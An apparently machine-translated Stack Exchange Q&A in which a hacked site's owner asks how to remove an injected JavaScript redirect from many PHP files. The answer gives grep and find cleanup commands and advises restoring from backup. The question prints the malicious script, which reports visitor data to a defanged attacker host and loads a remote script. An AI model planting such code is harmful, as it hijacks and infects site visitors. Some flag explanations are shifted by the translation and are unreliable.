substitui a cadeia de texto longo (script com MUITOS caracteres especiais). sed, awk, grep

0

Meu site foi invadido / infectado. Eu substituí a URL do link malicioso, mas outros elementos do script malicioso ainda estão impedindo meu site de ser bloqueado. Sem inserir uma centena de "escapes", como posso remover o seguinte script de 3 dúzias de arquivos no meu site?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

Outras páginas em troca de pilha não respondem a essa pergunta.

Para substituir o URL malicioso por xxxx_hack_was_here etc, usei: find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

    
por Jonathon Neville 11.02.2016 / 21:58

1 resposta

0

Primeiramente, concordo com os comentários acima: Não use sed para se recuperar de ser hackeado. Você sempre se perguntará se perdeu alguma coisa. Restaurar do backup, ponto final.

No entanto, a pergunta literal que você fez, como remover uma longa string em todos os lugares que aparece sem escapar de todos os caracteres especiais, é um pouco mais fácil de lidar.

Estou fazendo algumas inferências / suposições de sua pergunta que você não declarou diretamente:

  1. A string a ser removida é uma única linha.
  2. Que é o mesmo sempre que ocorre.
  3. Isso precisa ser removido e não substituído por outra coisa.

Se as suposições acima estiverem corretas, faça o seguinte:

  1. Coloque a string a ser removida (incluindo qualquer espaço em branco) em um arquivo, chamada, por exemplo, %código%. Coloque este nível acima do diretório que você irá manipular.
  2. Copie todo o seu diretório em caso de erros.

    cp -a mydir mydircopy
    
  3. Execute o seguinte loop no seu diretório (ou na cópia) para remover todas as instâncias do hackline:

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"
    done
    

O conceito aqui é que você usa hackline.txt como uma lista de sequências fixas que devem corresponder à linha inteira, então você usa hackline.txt para obter apenas as linhas que não correspondem lista de strings.

grep significa "linha inteira"; -x significa "string fixa, não regex"; -F inverte a pesquisa; -v aceita uma lista de padrões em um arquivo.

Se o diretório do seu site for hierárquico em vez de simples (o que é bastante provável), você poderá usar -f em vez de um loop for:

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

Em seguida, use um find recursivo para verificar se tudo está como deveria estar:

diff -r mydircopy mydir
    
por 15.04.2016 / 22:15